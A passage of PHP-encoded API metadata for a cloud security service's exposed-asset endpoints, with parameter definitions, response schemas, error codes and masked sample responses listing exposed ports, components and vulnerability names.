\\"AliasName\\": \\"RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)\\",\\n \\"Name\\": \\"SCA:ACSV-2020-052801\\"\\n }\\n ],\\n \\"CspmRiskList\\": [\\n {\\n \\"CheckName\\": \\"使用SSH密钥对登录\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"InstanceId\\": \\"i-bp14ggqzi9k6ocfb****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"AssetType\\": 0,\\n \\"AssetTypeName\\": \\"ECS\\",\\n \\"AssetSubType\\": 100,\\n \\"AssetSubTypeName\\": \\"INSTANCE\\",\\n \\"Vendor\\": 0\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n C590482B-54A7-4273-8115-9DBE2DE46B26\\n \\n EIP\\n i-bp116qem8npvchqc****\\n openssl,openssh\\n 22\\n 192.168.XX.XX\\n worker-k8s-for-cs-c929ee2a145214f89a8b248005be5****\\n \\n sca\\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n fastjson <= 1.2.68 反序列化远程代码执行漏洞\\n asap\\n SCA:ACSV-2020-052801\\n \\n \\n sca\\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n fastjson <= 1.2.68 反序列化远程代码执行漏洞\\n asap\\n SCA:ACSV-2020-052801\\n \\n \\n sca\\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n Kubernetes kubelet 资源管理错误漏洞\\n nntf\\n SCA:CVE-2020-8557\\n \\n 4f9ce097-4a7d-48fe-baef-6960e5b6****\\n 47.99.XX.XX\\n 47.99.XX.XX\\n eip-bp1bkgowzam49rld3****\\n cn-hangzhou\\n \\n","errorExample":""}]', 'title' => 'DescribeExposedInstanceDetail', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeExposedInstanceList' => [ 'summary' => 'Queries the information about the assets that are exposed on the Internet.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92077', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the server group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '9535356', ], ], [ 'name' => 'VulStatus', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the asset has vulnerabilities. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'HealthStatus', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the asset has weak password risks. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'Unhealthy', ], ], [ 'name' => 'ExposureComponent', 'in' => 'query', 'schema' => [ 'description' => 'The server component that is exposed on the Internet.'."\n", 'type' => 'string', 'required' => false, 'example' => 'openssl', ], ], [ 'name' => 'ExposurePort', 'in' => 'query', 'schema' => [ 'description' => 'The port that is exposed on the Internet.'."\n", 'type' => 'string', 'required' => false, 'example' => '22', ], ], [ 'name' => 'ExposureIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the server or the public endpoint of the database.'."\n", 'type' => 'string', 'required' => false, 'example' => '116.12.XX.XX', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abc_centos7.2_005', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16670360956*****', ], ], [ 'name' => 'AssetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: an Elastic Compute Service (ECS) instance.'."\n" .'* **3**: an ApsaraDB RDS instance.'."\n" .'* **4**: an ApsaraDB for MongoDB instance.'."\n" .'* **5**: an ApsaraDB for Redis instance.'."\n", 'type' => 'string', 'required' => false, 'example' => '0', ], ], [ 'name' => 'CspmStatus', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the asset has Cloud Security Posture Management (CSPM) risks. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'ExposureComponentBizType', 'in' => 'query', 'schema' => [ 'description' => 'Expose component type.', 'type' => 'string', 'required' => false, 'example' => 'system_service', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '598A4A61-ABA7-456B-8725-7378258276D9', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'ExposedInstances' => [ 'description' => 'The details of the exposures.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'ExposureIp' => [ 'description' => 'The public IP address that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => '116.12.XX.XX', ], 'TotalVulCount' => [ 'description' => 'The total number of vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '116.12.XX.XX', ], 'NntfVulCount' => [ 'description' => 'The number of low-severity vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'example' => 'i-bp1g6wxdwps7s9dz****', ], 'ExposureType' => [ 'description' => 'The resource from which the asset is exposed. Valid values:'."\n" ."\n" .'* **INTERNET_IP**: the public IP address of an ECS instance.'."\n" .'* **SLB**: the public IP address of a Server Load Balancer (SLB) instance.'."\n" .'* **EIP**: an elastic IP address (EIP).'."\n" .'* **DNAT**: the NAT gateway that connects to the Internet by using the Destination Network Address Translation (DNAT) feature.'."\n" .'* **DB_CONNECTION**: the public endpoint of a database.'."\n", 'type' => 'string', 'example' => 'INTERNET_IP', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'RegionId' => [ 'description' => 'The ID of the region in which the asset resides.'."\n" ."\n" .'> For more information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'ExposureTypeId' => [ 'description' => 'The ID of the instance to which the resource belongs. The valid values of this parameter vary based on the value of the ExposureType parameter.'."\n" ."\n" .'* If the value of the ExposureType parameter is **INTERNET_IP**, this parameter is empty.'."\n" .'* If the value of the ExposureType parameter is **SLB**, the value of this parameter is the ID of the SLB instance.'."\n" .'* If the value of the ExposureType parameter is **EIP**, the value of this parameter is the ID of the EIP.'."\n" .'* If the value of the ExposureType parameter is **DNAT**, the value of this parameter is the ID of the NAT gateway.'."\n" .'* If the value of the ExposureType parameter is **DB_CONNECTION**, the value of this parameter is the ID of the database.'."\n", 'type' => 'string', 'example' => 'i-ew11313a****', ], 'AsapVulCount' => [ 'description' => 'The number of high-severity vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ExposurePort' => [ 'description' => 'The port that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => '22', ], 'Uuid' => [ 'description' => 'The UUID of the server or the instance ID of the cloud service.'."\n", 'type' => 'string', 'example' => 'dd803d9e-a337-4add-9c5b-7d503e08****', ], 'GroupName' => [ 'description' => 'The name of the server group.'."\n", 'type' => 'string', 'example' => 'testGroup', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '9469268', ], 'ExploitHealthCount' => [ 'description' => 'The number of weak password risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'abc_centos7.2_005', ], 'ExposureComponent' => [ 'description' => 'The server component that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => 'openssl,openssh', ], 'LaterVulCount' => [ 'description' => 'The number of medium-severity vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CspmAlarmCount' => [ 'description' => 'The number of CSPM risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: an ECS instance.'."\n" .'* **1**: a SLB instance.'."\n" .'* **2**: a NAT gateway.'."\n" .'* **3**: an ApsaraDB RDS instance.'."\n" .'* **4**: an ApsaraDB for MongoDB instance.'."\n" .'* **5**: an ApsaraDB for Redis instance.'."\n" .'* **6**: a container image.'."\n" .'* **7**: a container.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CloudAssetInfo' => [ 'description' => 'The JSON string that specifies the information about a database asset, which contains the following fields.'."\n" ."\n" .'* assetSubType: the asset subtype.'."\n" .'* assetSubTypeName: the name of the asset subtype.'."\n" .'* assetType: the type of the asset.'."\n" .'* assetTypeName: the name of the asset type.'."\n" .'* vendor: the service provider of the asset.'."\n", 'type' => 'string', 'example' => '{assetSubTypeName":"INSTANCE","assetType":3,"assetTypeName":"RDS","vendor":0}', ], 'ExposureComponentList' => [ 'description' => 'Expose component information list.', 'type' => 'array', 'items' => [ 'description' => 'Expose component information.', 'type' => 'object', 'properties' => [ 'ListenPort' => [ 'description' => 'Exposed port.', 'type' => 'string', 'example' => '22', ], 'ComponentName' => [ 'description' => 'Expose components.', 'type' => 'string', 'example' => 'openssh', ], 'ComponentVersion' => [ 'description' => 'Expose component version.', 'type' => 'string', 'example' => '8.7p1', ], 'ComponentBizType' => [ 'description' => 'Expose component type.', 'type' => 'string', 'example' => 'system_service', ], ], ], ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"598A4A61-ABA7-456B-8725-7378258276D9\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"ExposedInstances\\": [\\n {\\n \\"ExposureIp\\": \\"116.12.XX.XX\\",\\n \\"TotalVulCount\\": 0,\\n \\"InternetIp\\": \\"116.12.XX.XX\\",\\n \\"NntfVulCount\\": 0,\\n \\"InstanceId\\": \\"i-bp1g6wxdwps7s9dz****\\",\\n \\"ExposureType\\": \\"INTERNET_IP\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ExposureTypeId\\": \\"i-ew11313a****\\",\\n \\"AsapVulCount\\": 0,\\n \\"ExposurePort\\": \\"22\\",\\n \\"Uuid\\": \\"dd803d9e-a337-4add-9c5b-7d503e08****\\",\\n \\"GroupName\\": \\"testGroup\\",\\n \\"GroupId\\": 9469268,\\n \\"ExploitHealthCount\\": 0,\\n \\"InstanceName\\": \\"abc_centos7.2_005\\",\\n \\"ExposureComponent\\": \\"openssl,openssh\\",\\n \\"LaterVulCount\\": 0,\\n \\"CspmAlarmCount\\": 0,\\n \\"AssetType\\": 0,\\n \\"CloudAssetInfo\\": \\"{assetSubTypeName\\\\\\":\\\\\\"INSTANCE\\\\\\",\\\\\\"assetType\\\\\\":3,\\\\\\"assetTypeName\\\\\\":\\\\\\"RDS\\\\\\",\\\\\\"vendor\\\\\\":0}\\",\\n \\"ExposureComponentList\\": [\\n {\\n \\"ListenPort\\": \\"22\\",\\n \\"ComponentName\\": \\"openssh\\",\\n \\"ComponentVersion\\": \\"8.7p1\\",\\n \\"ComponentBizType\\": \\"system_service\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 2\\n 20\\n 1\\n 2\\n \\n 598A4A61-ABA7-456B-8725-7378258276D9\\n \\n 0\\n 未分组\\n INTERNET_IP\\n i-bp1g6wxdwps7s9dz****\\n openssh\\n 22\\n 0\\n 0\\n 172.16.XX.XX\\n 9535356\\n abc_centos7.2_005\\n dd803d9e-a337-4add-9c5b-7d503e08****\\n 47.114.XX.XX\\n \\n 47.114.XX.XX\\n 0\\n cn-hangzhou\\n \\n \\n 0\\n 未分组\\n INTERNET_IP\\n i-bp1iy78ba3jgjyqp****\\n rdp\\n 3389\\n 0\\n 0\\n 172.16.XX.XX\\n 9535356\\n efd_centos7.2_005\\n c9782b85-7015-4359-8b75-5e26f854****\\n 120.26.XX.XX\\n \\n 120.26.XX.XX\\n 0\\n cn-hangzhou\\n \\n","errorExample":""}]', 'title' => 'DescribeExposedInstanceList', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeExposedStatistics' => [ 'summary' => 'Queries the exposure statistics of the assets on the Internet.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92079', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4B897D10-B3CD-4A93-A5FA-591F3ED12A86', ], 'ExposedLaterVulCount' => [ 'description' => 'The total number of medium-risk vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ExposedComponentCount' => [ 'description' => 'The total number of system components that are exposed on the Internet. The components include OpenSSL and OpenSSH.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'ExposedPortCount' => [ 'description' => 'The total number of ports that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'ExposedInstanceCount' => [ 'description' => 'The total number of assets that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'ExposedWeekPasswordMachineCount' => [ 'description' => 'The total number of system keys that are detected on your servers and are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'ExposedNntfVulCount' => [ 'description' => 'The total number of low-risk vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'GatewayAssetCount' => [ 'description' => 'The total number of gateway assets that are exposed on the Internet. The gateway assets include NAT gateways and Server Load Balancer (SLB) instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'ExposedIpCount' => [ 'description' => 'The total number of IP addresses that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'ExposedAsapVulCount' => [ 'description' => 'The total number of high-risk vulnerabilities that are exposed on the Internet and can be exploited by attackers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ExposedEcsCount' => [ 'description' => 'The number of Elastic Compute Service (ECS) instances that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ExposedRdsCount' => [ 'description' => 'The number of ApsaraDB RDS instances that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ExposedKvstoreCount' => [ 'description' => 'The number of ApsaraDB for Redis instances that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'ExposedDdsCount' => [ 'description' => 'The number of ApsaraDB for MongoDB instances that are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4B897D10-B3CD-4A93-A5FA-591F3ED12A86\\",\\n \\"ExposedLaterVulCount\\": 5,\\n \\"ExposedComponentCount\\": 7,\\n \\"ExposedPortCount\\": 6,\\n \\"ExposedInstanceCount\\": 10,\\n \\"ExposedWeekPasswordMachineCount\\": 20,\\n \\"ExposedNntfVulCount\\": 0,\\n \\"GatewayAssetCount\\": 3,\\n \\"ExposedIpCount\\": 100,\\n \\"ExposedAsapVulCount\\": 1,\\n \\"ExposedEcsCount\\": 5,\\n \\"ExposedRdsCount\\": 1,\\n \\"ExposedKvstoreCount\\": 3,\\n \\"ExposedDdsCount\\": 1\\n}","errorExample":""},{"type":"xml","example":"\\n 6\\n 4B897D10-B3CD-4A93-A5FA-591F3ED12A86\\n 100\\n 3\\n 5\\n 7\\n 100\\n 0\\n 1\\n","errorExample":""}]', 'title' => 'DescribeExposedStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeExposedStatisticsDetail' => [ 'summary' => 'Queries the gateway assets, ports, system components, or public IP addresses that are exposed on the Internet.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92080', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'StatisticsType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the exposed asset. Valid values:'."\n" ."\n" .'* **exposureType**: gateway assets'."\n" .'* **exposurePort**: ports'."\n" .'* **exposureComponent**: system components'."\n" .'* **exposureIp**: IP addresses'."\n", 'type' => 'string', 'required' => true, 'example' => 'exposureType', ], ], [ 'name' => 'StatisticsTypeInstanceValue', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the gateway asset. This parameter is required when the **StatisticsType** parameter is set to **exposureType**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'lb-2ze4rso39h4nczcqs****', ], ], [ 'name' => 'StatisticsTypeGatewayType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the gateway asset. This parameter is required when the **StatisticsType** parameter is set to **exposureType**. Valid values:'."\n" ."\n" .'* **SLB**: the public IP address of a Server Load Balancer (SLB) instance'."\n" .'* **DNAT**: the NAT gateway that connects to the Internet by using the DNAT feature'."\n", 'type' => 'string', 'required' => false, 'example' => 'SLB', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'title' => '指定查询的主机的UUID。', 'description' => 'The UUID of the server.', 'type' => 'string', 'required' => false, 'example' => 'c9107c04-942f-40c1-981a-f1c1***', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'title' => '查询条件。', 'description' => 'The search condition for components.', 'type' => 'string', 'required' => false, 'example' => '{}', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 's-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'ExposureIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the server or the cloud asset.', 'type' => 'string', 'required' => false, 'example' => '116.12.XX.XX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => '响应体。', 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7CBAFB3F-1ED7-4A23-986A-6F67F0466BD1', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'StatisticsDetails' => [ 'description' => 'An array consisting of the gateway assets, ports, system components, or public IP addresses that are exposed on the Internet and are returned.'."\n", 'type' => 'array', 'items' => [ 'title' => '统计信息详情。', 'description' => '', 'type' => 'object', 'properties' => [ 'ExposureIp' => [ 'description' => 'The public IP address that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => '123.57.XX.XX', ], 'ExposurePort' => [ 'description' => 'The port that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => '22', ], 'ExposureTypeInstanceName' => [ 'description' => 'The name of the gateway asset that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => 'ngw-bp1vkbju8f3w87c9v****', ], 'ExposedCount' => [ 'description' => 'The total number of system vulnerabilities that are detected on your server and are exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ExposureType' => [ 'description' => 'The resource from which the asset is exposed. Valid values:'."\n" ."\n" .'* **INTERNET_IP**: the IP address of the Elastic Compute Service (ECS) instance'."\n" .'* **SLB**: the public IP address of the SLB instance'."\n" .'* **EIP**: the elastic IP address (EIP)'."\n" .'* **DNAT**: the NAT gateway that connects to the Internet by using the DNAT feature'."\n", 'type' => 'string', 'example' => 'SLB', ], 'RegionId' => [ 'description' => 'The region ID of the asset.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'ExposureComponent' => [ 'description' => 'The system component that is exposed on the Internet.'."\n", 'type' => 'string', 'example' => 'tomcat', ], 'ExposureTypeId' => [ 'description' => 'The ID of the instance to which the resource belongs. The valid values of this parameter vary based on the value of the ExposureType parameter.'."\n" ."\n" .'* If the value of the **ExposureType** parameter is **INTERNET_IP**, the value of this parameter is an empty string.'."\n" .'* If the value of the **ExposureType** parameter is **SLB**, the value of this parameter is the ID of the Internet-facing SLB instance.'."\n" .'* If the value of the **ExposureType** parameter is **EIP**, the value of this parameter is the ID of the EIP.'."\n" .'* If the value of the **ExposureType** parameter is **DNAT**, the value of this parameter is the ID of the NAT gateway.'."\n", 'type' => 'string', 'example' => 'lb-2ze4rso39h4nczcqs****', ], 'ForwardPort' => [ 'title' => '转发端口。', 'description' => 'The listener port that is used to redirect HTTP requests.', 'type' => 'string', 'example' => '80', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7CBAFB3F-1ED7-4A23-986A-6F67F0466BD1\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"StatisticsDetails\\": [\\n {\\n \\"ExposureIp\\": \\"123.57.XX.XX\\",\\n \\"ExposurePort\\": \\"22\\",\\n \\"ExposureTypeInstanceName\\": \\"ngw-bp1vkbju8f3w87c9v****\\",\\n \\"ExposedCount\\": 0,\\n \\"ExposureType\\": \\"SLB\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ExposureComponent\\": \\"tomcat\\",\\n \\"ExposureTypeId\\": \\"lb-2ze4rso39h4nczcqs****\\",\\n \\"ForwardPort\\": \\"80\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 2\\n 20\\n 1\\n 2\\n \\n 7CBAFB3F-1ED7-4A23-986A-6F67F0466BD1\\n \\n SLB\\n lb-2ze4rso39h4nczcqs****\\n \\n \\n SLB\\n lb-bp1g61a2sdn01n5k8****\\n \\n","errorExample":""}]', 'title' => 'DescribeExposedStatisticsDetail', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ListUuidsByAppId' => [ 'summary' => 'Queries the UUIDs of Serverless App Engine (SAE) instances based on an application ID.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '227147', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'AppRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'AppId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the SAE application.'."\n", 'type' => 'string', 'required' => false, 'example' => '5b41f4bf-349f-4263-89b1-9234c034****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ResourceDirectoryUid', 'in' => 'query', 'schema' => [ 'description' => 'The UID of the resource directory.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123456', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'Uuids' => [ 'description' => 'The UUIDs of SAE instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the SAE instance.'."\n", 'type' => 'string', 'example' => 'ec8e305a-0882-4661-87a3-cd7e558d****', ], ], 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 